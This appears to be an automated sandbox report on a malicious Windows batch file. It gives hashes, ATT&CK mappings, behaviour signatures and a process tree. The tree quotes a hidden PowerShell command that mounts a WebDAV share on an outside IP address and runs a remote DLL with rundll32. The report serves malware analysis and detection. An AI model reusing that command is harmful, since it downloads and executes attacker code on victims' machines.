fa50f356e43e78aca23cf71df43d2678566b31f0a3324112bee69878c5323869

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
15/07/2024, 02:41

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General

Target

2955983792456625950.bat
Size

2KB
MD5

f609758a849fe4c8bb2a23fa4f33d4ea
SHA1

c212cfd63e0144c3e7d409a23a53dfc092028fae
SHA256

fa50f356e43e78aca23cf71df43d2678566b31f0a3324112bee69878c5323869
SHA512

f99a71d15a51fdb97e6b08422e3227e00b96ab15a618260e3dcf3b388d55afa5213b8958b52a7d0b9f05e3183d7cd32970901fde7a5f22036196254097513778

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2272	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2272	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2272	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2756	wordpad.exe
2756	wordpad.exe
2756	wordpad.exe
2756	wordpad.exe
2756	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2480 wrote to memory of 2756	2480	cmd.exe	31
PID 2480 wrote to memory of 2756	2480	cmd.exe	31
PID 2480 wrote to memory of 2756	2480	cmd.exe	31
PID 2480 wrote to memory of 2272	2480	cmd.exe	32
PID 2480 wrote to memory of 2272	2480	cmd.exe	32
PID 2480 wrote to memory of 2272	2480	cmd.exe	32
PID 2272 wrote to memory of 2628	2272	powershell.exe	34
PID 2272 wrote to memory of 2628	2272	powershell.exe	34
PID 2272 wrote to memory of 2628	2272	powershell.exe	34
PID 2272 wrote to memory of 2716	2272	powershell.exe	35
PID 2272 wrote to memory of 2716	2272	powershell.exe	35
PID 2272 wrote to memory of 2716	2272	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\2955983792456625950.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2480
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\98.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2272
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2628
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\98.dll entry
    3⤵
    PID:2716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2272-24-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download
memory/2272-25-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2480-16-0x0000000002320000-0x0000000002420000-memory.dmp

Filesize
1024KB

Download